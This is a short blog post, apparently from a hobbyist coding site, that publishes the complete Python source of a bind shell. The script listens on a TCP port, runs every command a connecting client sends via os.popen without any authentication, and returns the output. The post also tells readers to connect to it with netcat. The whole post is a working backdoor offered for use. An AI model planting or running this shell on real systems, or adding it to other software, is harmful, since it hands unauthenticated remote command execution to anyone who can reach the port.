Our Feeds

Tuesday 1 September 2015

AJITH KP

Bind Shell in Python for Netcat

Source Code

"""

  http://www.terminalcoders.blogspot.com
  *** Ajith Kp ***    *** ajithkp560 ***

"""

import socket, os, sys
try:
 try:
  port = int(sys.argv[2])
 except:
  port = 5600
 try:
  ip = sys.argv[1]
 except:
  ip = "127.0.0.1"

 host = (ip, port)
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.bind(host)
 sock.listen(1)

 while True:
  client, addr = sock.accept()
  client.send(os.getcwd()+"> ")
  while True:
   cmd = client.recv(1024)
   ter = os.popen(cmd)
   res = ""
   for line in ter:
    res+=line
   client.send(res+os.getcwd()+"> ")
except KeyboardInterrupt:
 try:
  client.send("\n\nConnection closed... Goodbye...\n")
 except:
  pass
 sock.close()
except socket.error:
 client.close()

The first argument of this script is host and second argument is port to bind. Default host is `localhost` and port is `5600`.

How To Use

     You can use this script with `netcat`. Use command,

netcat ip port


1 comments :

Write comments